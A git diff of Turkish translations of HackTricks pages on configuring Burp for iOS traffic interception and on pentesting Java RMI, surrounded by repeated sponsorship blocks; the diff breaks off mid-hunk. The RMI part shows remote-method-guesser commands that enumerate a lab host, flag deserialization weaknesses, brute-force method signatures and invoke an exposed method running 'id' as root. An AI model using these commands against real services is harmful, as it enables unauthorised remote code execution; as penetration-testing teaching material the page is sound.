* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek **paylaşın**.
</details>

View file

@ -2,11 +2,11 @@
<details>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hacklemeyi öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong>!</strong></summary>
<summary><strong>AWS hacklemeyi sıfırdan kahraman seviyesine öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Kırmızı Takım Uzmanı)</strong></a><strong> ile!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
@ -17,30 +17,30 @@ HackTricks'ı desteklemenin diğer yolları:
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
Dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturmak ve otomatikleştirmek** için [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)'i kullanın.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios) kullanarak dünyanın **en gelişmiş topluluk araçları** tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
## iOS Cihazlarında Burp Sertifikasının Yüklenmesi
## iOS Cihazları İçin Burp Sertifikasının Yüklenmesi
Güvenli web trafiği analizi ve SSL pinning için iOS cihazlarında, Burp Suite ya **Burp Mobile Assistant** aracılığıyla ya da manuel yapılandırma ile kullanılabilir. Aşağıda her iki yöntem için özetlenmiş bir rehber bulunmaktadır:
Güvenli web trafiği analizi ve SSL pinning için iOS cihazlarında, Burp Suite ya **Burp Mobile Assistant** aracılığıyla ya da manuel yapılandırma ile kullanılabilir. Aşağıda her iki yöntem için özetlenmiş bir kılavuz bulunmaktadır:
### Burp Mobile Assistant ile Otomatik Yükleme
**Burp Mobile Assistant**, Burp Sertifikası'nın yüklenme sürecini, proxy yapılandırmasını ve SSL Pinning'i basitleştirir. Detaylı rehber [PortSwigger'ın resmi belgelerinde](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing) bulunabilir.
**Burp Mobile Assistant**, Burp Sertifikası'nın yüklenme sürecini, proxy yapılandırmasını ve SSL Pinning'i basitleştirir. Detaylı rehberliğe [PortSwigger'ın resmi belgelerinde](https://portswigger.net/burp/documentation/desktop/tools/mobile-assistant/installing) ulaşılabilir.
### Manuel Yükleme Adımları
1. **Proxy Yapılandırması:** İlk olarak, iPhone'un Wi-Fi ayarları altında Burp'u proxy olarak ayarlayarak başlayın.
2. **Sertifika İndirme:** Cihazınızın tarayıcısında `http://burp` adresine giderek sertifikayı indirin.
2. **Sertifika İndirme:** Cihazınızın tarayıcısında sertifikayı indirmek için `http://burp` adresine gidin.
3. **Sertifika Yüklemesi:** İndirilen profili **Ayarlar** > **Genel** > **VPN ve Cihaz Yönetimi** altından yükleyin, ardından **Sertifika Güven Ayarları** altında PortSwigger CA için güveni etkinleştirin.
### İnterception Proxy Yapılandırma
Bu yapılandırma, iOS cihazı ile internet arasındaki trafiği Burp üzerinden analiz etmeyi sağlar ve istemci-istemci trafiğini destekleyen bir Wi-Fi ağı gerektirir. Kullanılamıyorsa, usbmuxd aracılığıyla bir USB bağlantısı alternatif olarak hizmet verebilir. PortSwigger'ın eğitimleri, [cihaz yapılandırması](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) ve [sertifika yükleme](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) konusunda detaylı talimatlar sağlar.
Bu yapılandırma, iOS cihazı ile internet arasındaki trafiği Burp üzerinden analiz etmeyi sağlar, istemci-istemci trafiğini destekleyen bir Wi-Fi ağı gerektirir. Kullanılamıyorsa, usbmuxd aracılığıyla bir USB bağlantısı alternatif olarak hizmet verebilir. PortSwigger'ın eğitimleri [cihaz yapılandırması](https://support.portswigger.net/customer/portal/articles/1841108-configuring-an-ios-device-to-work-with-burp) ve [sertifika yükleme](https://support.portswigger.net/customer/portal/articles/1841109-installing-burp-s-ca-certificate-in-an-ios-device) hakkında detaylı talimatlar sağlar.
### Jailbreak Yapılmış Cihazlar için Gelişmiş Yapılandırma
### Jailbreak Yapılmış Cihazlar İçin Gelişmiş Yapılandırma
Jailbreak yapılmış cihazlara sahip kullanıcılar için, SSH üzerinden USB (via **iproxy**) trafiği doğrudan Burp üzerinden yönlendirmenin bir yöntemi sunar:
@ -49,7 +49,7 @@ Jailbreak yapılmış cihazlara sahip kullanıcılar için, SSH üzerinden USB (
```bash
iproxy 2222 22
```
2. **Uzak Port Yönlendirme:** iOS cihazının 8080 numaralı portunu bilgisayarın localhost'una yönlendirerek Burp'un arayüzüne doğrudan erişimi sağlamak için.
2. **Uzak Port Yönlendirme:** iOS cihazının 8080 portunu bilgisayarın localhost'una yönlendirerek Burp'un arayüzüne doğrudan erişimi sağlamak için.
```bash
ssh -R 8080:localhost:8080 root@localhost -p 2222
@ -58,7 +58,7 @@ ssh -R 8080:localhost:8080 root@localhost -p 2222
### Tam Ağ İzleme/Sniffing
**Wireshark** kullanılarak HTTP olmayan cihaz trafiğinin etkin bir şekilde izlenmesi sağlanabilir, tüm veri trafiğini yakalayabilen bir araçtır. iOS cihazları için, gerçek zamanlı trafik izlemesi, bir Uzak Sanal Arayüz oluşturularak kolaylaştırılır, bu süreç [bu Stack Overflow gönderisinde](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819) detaylı olarak açıklanmıştır. Başlamadan önce, macOS sistemine **Wireshark**'ın yüklenmesi gerekmektedir.
**Wireshark** kullanılarak HTTP olmayan cihaz trafiğinin izlenmesi etkili bir şekilde gerçekleştirilebilir, tüm veri trafiğini yakalayabilen bir araçtır. iOS cihazları için, gerçek zamanlı trafik izlemesi, bir Uzak Sanal Arayüz oluşturularak kolaylaştırılır, bu süreç [bu Stack Overflow gönderisinde](https://stackoverflow.com/questions/9555403/capturing-mobile-phone-traffic-on-wireshark/33175819#33175819) detaylı olarak açıklanmıştır. Başlamadan önce, macOS sistemine **Wireshark**'ın yüklenmesi gerekmektedir.
Prosedür birkaç temel adımı içerir:
@ -68,7 +68,7 @@ Prosedür birkaç temel adımı içerir:
$ rvictl -s <UDID>
Starting device <UDID> [SUCCEEDED] with interface rvi0
```
3. UDID'nin tespitinden sonra, **Wireshark**ılmalı ve veri yakalamak için "rvi0" arayüzü seçilmelidir.
3. UDID'nin tespit edilmesinden sonra, **Wireshark**ılmalı ve veri yakalamak için "rvi0" arayüzü seçilmelidir.
4. Belirli bir IP adresi ile ilgili HTTP trafiğini yakalamak gibi hedefli izleme için, Wireshark'ın Yakalama Filtreleri kullanılabilir:
## Simülatöre Burp Sertifikası Kurulumu
@ -95,32 +95,32 @@ _Proxy_ --> _Seçenekler_ --> _CA sertifikasını dışa aktar_ --> _DER format
Proxy olarak Burp'u yapılandırma adımları:
* _Sistem Tercihleri_ --> _Ağ_ --> _Gelişmiş_ gidin
* _Vekiller_ sekmesinde _Web Proxy (HTTP)_ ve _Güvenli Web Proxy (HTTPS)_ işaretleyin
* _Sistem Tercihleri_ --> _Ağ_ --> _Gelişmiş_'e gidin
* _Vekiller_ sekmesinde _Web Vekili (HTTP)_ ve _Güvenli Web Vekili (HTTPS)_ işaretleyin
* Her iki seçenekte de _127.0.0.1:8080_ şeklinde yapılandırın
![](<../../.gitbook/assets/image (431).png>)
* _**Tamam**_ düğmesine tıklayın ve _**Uygula**_yı seçin
* _**Tamam**_ düğmesine tıklayın ve _**Uygula**_'ya basın
<figure><img src="../../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın **en gelişmiş** topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturmayı ve otomatikleştirmeyi kolayca yapın.\
Dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **otomatikleştirilmiş iş akışları** oluşturmak ve yürütmek için [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=burp-configuration-for-ios)'i kullanın.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=burp-configuration-for-ios" %}
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong> ile sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</summary>
<summary><strong>Sıfırdan kahraman olacak şekilde AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'i desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerine**](https://peass.creator-spring.com) sahip olun
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)'yi keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
* Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud github depolarına PR göndererek **HackTricks'i** destekleyin.
* [**Resmi PEASS & HackTricks ürünlerine göz atın**](https://peass.creator-spring.com)
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'u takip edin**.
* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR göndererek **paylaşın**.
</details>

View file

@ -6,25 +6,25 @@
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünleri**]'ni edinin (https://peass.creator-spring.com)
* [**PEASS Ailesi**]'ni keşfedin (https://opensea.io/collection/the-peass-family), özel [**NFT'ler**]'imiz koleksiyonunu keşfedin (https://opensea.io/collection/the-peass-family)
* **Katılın** 💬 [**Discord grubuna**] (https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**] katılın (https://t.me/peass) veya **bizi** **Twitter** 🐦 [**@carlospolopm**]'de takip edin (https://twitter.com/hacktricks\_live)**.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**] (https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**] (https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family**]'yi (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'i (https://opensea.io/collection/the-peass-family) içeren koleksiyonumuzu
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) katılın veya [**telegram grubuna**](https://t.me/peass) veya **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'ı takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
</details>
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**]'i kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**]'i (https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) kullanarak dünyanın **en gelişmiş** topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
## Temel Bilgiler
_Java Uzak Yöntem Çağrısı_, veya _Java RMI_, bir _RPC_ mekanizmasıdır ve bir _Java sanal makinesinde_ bulunan bir nesnenin, başka bir _Java sanal makinesinde_ bulunan bir nesnedeki yöntemleri çağırmasına olanak tanır. Bu, geliştiricilere nesne yönelimli bir paradigma kullanarak dağıtılmış uygulamalar yazma imkanı sağlar. Saldırgan bir bakış açısından _Java RMI_ hakkında kısa bir tanıtımı [bu blackhat konuşmasında](https://youtu.be/t\_aw1mDNhzI?t=202) bulabilirsiniz.
_Java Uzak Yöntem Çağrısı_, veya _Java RMI_, bir _RPC_ mekanizmasıdır ve bir _Java sanal makinesinde_ bulunan bir nesnenin başka bir _Java sanal makinesinde_ bulunan bir nesnedeki yöntemleri çağırmasına olanak tanır. Bu, geliştiricilerin nesne yönelimli bir paradigma kullanarak dağıtılmış uygulamalar yazmalarını sağlar. Saldırgan bir bakış açısından _Java RMI_ hakkında kısa bir tanıtım [bu blackhat sunumunda](https://youtu.be/t\_aw1mDNhzI?t=202) bulunabilir.
**Varsayılan port:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
```
@ -36,18 +36,18 @@ PORT STATE SERVICE VERSION
```
Genellikle, yalnızca varsayılan _Java RMI_ bileşenleri (_RMI Registry_ ve _Activation System_) ortak bağlantı noktalarına bağlanır. Gerçek _RMI_ uygulamasını uygulayan _uzak nesneler_ genellikle yukarıdaki çıktıda gösterildiği gibi rastgele bağlantı noktalarına bağlanır.
_nmap_ bazen _SSL_ korumalı _RMI_ hizmetlerini tanımlamakta zorluk çeker. Ortak bir _RMI_ bağlantı noktasında bilinmeyen bir ssl hizmetiyle karşılaşırsanız, daha fazla araştırma yapmalısınız.
_nmap_ bazen _SSL_ korumalı _RMI_ hizmetlerini tanımlamakta zorluk yaşayabilir. Ortak bir _RMI_ bağlantı noktasında bilinmeyen bir ssl hizmetiyle karşılaşırsanız, daha fazla araştırma yapmalısınız.
## RMI Bileşenleri
Basitçe ifade etmek gerekirse, _Java RMI_ bir geliştiricinin bir _Java nesnesini_ ağda kullanılabilir hale getirmesine olanak tanır. Bu, istemcilerin bağlanabileceği ve ilgili nesnede yöntemleri çağırabileceği bir _TCP_ bağlantı noktası açar. Bu basit gibi görünse de, _Java RMI_ nin çözmesi gereken birkaç zorluk vardır:
Basitçe ifade etmek gerekirse, _Java RMI_ bir geliştiricinin bir _Java nesnesini_ ağda kullanılabilir hale getirmesine olanak tanır. Bu, istemcilerin bağlanabileceği ve karşılık gelen nesnede yöntemler çağırabileceği bir _TCP_ bağlantı noktası açar. Bu basit gibi görünse de, _Java RMI_ nin çözmesi gereken birkaç zorluk vardır:
1. Bir yöntem çağrısını _Java RMI_ aracılığıyla yönlendirmek için, istemcilerin IP adresini, dinleme bağlantı noktasını, uygulanan sınıfı veya arabirimi ve hedef nesnenin `ObjID` değerini ( `ObjID`, nesne ağda kullanılabilir hale getirildiğinde oluşturulan benzersiz ve rastgele bir tanımlayıcıdır. _Java RMI_ aynı _TCP_ bağlantı noktasında dinleyen birden fazla nesneye izin verdiği için gereklidir).
2. Uzak istemciler, sunucuda yöntemleri çağırarak kaynaklar ayırabilir. _Java sanal makinesi_, bu kaynakların hangisinin hala kullanımda olduğunu ve hangilerinin çöp toplanabileceğini takip etmelidir.
1. _Java RMI_ aracılığıyla bir yöntem çağrısını yönlendirmek için istemcilerin IP adresini, dinleme bağlantı noktasını, uygulanan sınıfı veya arabirimi ve hedef nesnenin `ObjID` değerini ( `ObjID`, nesne ağda kullanılabilir hale getirildiğinde oluşturulan benzersiz ve rastgele bir tanımlayıcıdır. _Java RMI_, aynı _TCP_ bağlantı noktasında birden fazla nesnenin dinlemesine izin verir çünkü gereklidir).
2. Uzak istemciler, sunucuda bulunan nesnede yöntemleri çağırarak kaynaklar ayırabilir. _Java sanal makinesi_, bu kaynakların hangisinin hala kullanımda olduğunu ve hangilerinin çöp toplanabileceğini takip etmelidir.
İlk zorluk, temelde bir _Java RMI_ için bir isimlendirme hizmeti olan _RMI registry_ tarafından çözülür. _RMI registry_ kendisi aynı zamanda bir _RMI hizmeti_ olmasına rağmen, uygulanan arabirim ve `ObjID` sabit ve tüm _RMI_ istemcileri tarafından bilinir. Bu, _RMI_ istemcilerinin ilgili _TCP_ bağlantı noktasını bilerek _RMI_ kaydını tüketmelerine olanak tanır.
Geliştiriciler, _Java nesnelerini_ ağda kullanılabilir hale getirmek istediklerinde genellikle onları bir _RMI registry_ 'e bağlarlar. _Registry_, nesneye bağlanmak için gereken tüm bilgileri depolar (IP adresi, dinleme bağlantı noktası, uygulanan sınıf veya arabirim ve `ObjID` değeri) ve bunu insan tarafından okunabilir bir isim altında ( _bağlı isim_) kullanılabilir hale getirir. _RMI hizmetini_ tüketmek isteyen istemciler, _RMI registry_ 'den karşılık gelen _bağlı ismi_ isteyebilir ve registry, bağlanmak için gereken tüm bilgileri döndürür. Dolayısıyla, durum temelde normal bir _DNS_ hizmetiyle aynıdır. Aşağıdaki liste küçük bir örneği göstermektedir:
Geliştiriciler, _Java nesnelerini_ ağda kullanılabilir hale getirmek istediklerinde genellikle onları bir _RMI registry_ 'e bağlarlar. _Registry_, nesneye bağlanmak için gereken tüm bilgileri depolar (IP adresi, dinleme bağlantı noktası, uygulanan sınıf veya arabirim ve `ObjID` değeri) ve bunu insan tarafından okunabilir bir isim altında ( _bağlı isim_) kullanılabilir hale getirir. _RMI hizmetini_ tüketmek isteyen istemciler, _RMI registry_ 'den ilgili _bağlı ismi_ ve kayıt, bağlantı için gerekli tüm bilgileri isteyebilir. Dolayısıyla, durum temelde normal bir _DNS_ hizmetiyle aynıdır. Aşağıdaki liste küçük bir örneği göstermektedir:
```java
import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry;
@ -73,13 +73,13 @@ e.printStackTrace();
```
Yukarıda bahsedilen zorluklardan ikincisi _Dağıtılmış Çöp Toplayıcı_ (_DGC_) tarafından çözülür. Bu, bilinen bir `ObjID` değerine sahip başka bir _RMI servisi_ ve temelde her _RMI uç noktasında_ mevcuttur. Bir _RMI istemcisi_ bir _RMI servisini_ kullanmaya başladığında, ilgili _uzak nesnenin_ kullanımda olduğuna dair bir bilgiyi _DGC_'ye gönderir. _DGC_ daha sonra referans sayısını takip edebilir ve kullanılmayan nesneleri temizleyebilir.
Eskimiş _Etkinleştirme Sistemi_ ile birlikte, bunlar _Java RMI_'ın üç varsayılan bileşenidir:
Eski _Aktivasyon Sistemi_ ile birlikte, bunlar _Java RMI_'ın üç varsayılan bileşenidir:
1. _RMI Kayıt Defteri_ (`ObjID = 0`)
2. _Etkinleştirme Sistemi_ (`ObjID = 1`)
2. _Aktivasyon Sistemi_ (`ObjID = 1`)
3. _Dağıtılmış Çöp Toplayıcı_ (`ObjID = 2`)
_Java RMI_'ın varsayılan bileşenleri uzun süredir bilinen saldırı vektörleri olmuştur ve eski _Java_ sürümlerinde birden fazla zayıflık bulunmaktadır. Bir saldırgan bakış açısından, bu varsayılan bileşenler ilginçtir, çünkü bilinen sınıflar / arabirimler uygulanmıştır ve bunlarla etkileşim kurmak kolaydır. Bu durum özel _RMI servisleri_ için farklıdır. Bir _uzak nesne_ üzerinde bir yöntem çağırmak için, ilgili yöntem imzasını önceden bilmelisiniz. Var olan bir yöntem imzasını bilmeden, bir _RMI servisine_ iletişim kurmanın bir yolu yoktur.
_Java RMI_'ın varsayılan bileşenleri uzun süredir bilinen saldırı vektörleri olmuş ve eski _Java_ sürümlerinde birden fazla zayıflık bulunmaktadır. Bir saldırgan bakış açısından, bu varsayılan bileşenler ilginçtir, çünkü bilinen sınıflar / arabirimler uygulanmıştır ve bunlarla etkileşim kurmak oldukça kolaydır. Bu durum özel _RMI servisleri_ için farklıdır. Bir _uzak nesne_ üzerinde bir yöntem çağırmak için, ilgili yöntem imzasını önceden bilmelisiniz. Var olan bir yöntem imzasını bilmeden, bir _RMI servisiyle_ iletişim kurmanın bir yolu yoktur.
## RMI Numaralandırma
@ -143,7 +143,7 @@ $ rmg enum 172.17.0.2 9010
[+] --> Deserialization allowed - Vulnerability Status: Vulnerable
[+] --> Client codebase enabled - Configuration Status: Non Default
```
Enumeration eyleminin çıktısı projenin [belgelendirme sayfalarında](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) daha detaylı bir şekilde açıklanmaktadır. Sonuca bağlı olarak, tanımlanan zafiyetleri doğrulamaya çalışmalısınız.
Enumeration eyleminin çıktısı projenin [belgelendirme sayfalarında](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) daha detaylı olarak açıklanmaktadır. Sonuca bağlı olarak tanımlanan zafiyetleri doğrulamaya çalışmalısınız.
_remote-method-guesser_ tarafından gösterilen `ObjID` değerleri hizmetin çalışma süresini belirlemek için kullanılabilir. Bu, diğer zafiyetleri tanımlamaya olanak tanır:
```
@ -158,9 +158,9 @@ $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
```
## Uzak Metotları Kaba Kuvvet Yöntemiyle Deneme
Tarama sırasında herhangi bir zayıflık tespit edilmemiş olsa bile, mevcut _RMI_ hizmetleri hala tehlikeli fonksiyonları ortaya çıkarabilir. Dahası, _RMI_ iletişimi _RMI_ varsayılan bileşenlere deserializasyon filtreleri ile korunsa da, özel _RMI_ hizmetleriyle iletişim kurulduğunda, bu tür filtreler genellikle mevcut değildir. _RMI_ hizmetlerinde geçerli metod imzalarını bilmek bu nedenle değerlidir.
Tarama sırasında herhangi bir zayıflık tespit edilmemiş olsa bile, mevcut _RMI_ hizmetleri hala tehlikeli fonksiyonları ortaya çıkarabilir. Dahası, _RMI_ iletişimi _RMI_ varsayılan bileşenlere karşı serileştirme filtreleri ile korunsa da, özel _RMI_ hizmetleriyle iletişim kurulurken bu tür filtreler genellikle mevcut değildir. _RMI_ hizmetlerinde geçerli metod imzalarını bilmek bu nedenle değerlidir.
Ne yazık ki, _Java RMI_, _uzak nesnelerde_ metodları sıralamayı desteklemez. Bununla birlikte, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) veya [rmiscout](https://github.com/BishopFox/rmiscout) gibi araçlarla metod imzalarını kaba kuvvet yöntemiyle denemek mümkündür:
Ne yazık ki, _Java RMI_ _uzak nesnelerde_ metodları sıralamayı desteklemez. Bununla birlikte, [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) veya [rmiscout](https://github.com/BishopFox/rmiscout) gibi araçlarla metod imzalarını kaba kuvvet yöntemiyle denemek mümkündür:
```
$ rmg guess 172.17.0.2 9010
[+] Reading method candidates from internal wordlist rmg.txt
@ -190,7 +190,7 @@ $ rmg guess 172.17.0.2 9010
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1)
```
Belirlenen yöntemler şu şekilde çağrılabilir:
Tanımlanan yöntemler şu şekilde çağrılabilir:
```
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root)
@ -220,12 +220,12 @@ uid=0(root) gid=0(root) groups=0(root)
```
Aşağıdaki makalelerde daha fazla bilgi bulunabilir:
* [JEP 290'dan Sonra Java RMI Servislerine Saldırı](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
* [JEP 290'dan Sonra Java RMI Servislerine Saldırma](https://mogwailabs.de/de/blog/2019/03/attacking-java-rmi-services-after-jep-290/)
* [Metod Tahmini](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/method-guessing.md)
* [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
* [rmiscout](https://bishopfox.com/blog/rmiscout)
Tahmin etmenin yanı sıra, karşılaşılan bir _RMI_ servisinin arayüzünü veya hatta uygulamasını aramak için arama motorlarına veya _GitHub_ üzerinde de bakmalısınız. _Bound name_ ve uygulanan sınıfın veya arayüzün adı burada faydalı olabilir.
Tahmin etmenin yanı sıra, karşılaşılan bir _RMI_ servisinin arayüzünü veya hatta uygulamasını aramak için arama motorlarına veya _GitHub_ üzerinde de bakmalısınız. _Bound name_ ve uygulanan sınıfın veya arayüzün adı burada yardımcı olabilir.
## Bilinen Arayüzler
@ -316,21 +316,21 @@ Command: rmg enum {IP} {PORT}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_term=trickest&utm_content=1099-pentesting-java-rmi) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **otomatik iş akışları** oluşturun ve otomatikleştirin.\
Bugün Erişim Alın:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=1099-pentesting-java-rmi" %}
<details>
<summary><strong>Sıfırdan kahramana kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Sıfırdan kahraman olmaya kadar AWS hackleme öğrenin</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na(https://github.com/sponsors/carlospolop) göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi Twitter'da** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)** takip edin.**
* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking püf noktalarınızı göndererek HackTricks** ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına PR göndererek paylaşın.
</details>

View file

@ -2,28 +2,28 @@
<details>
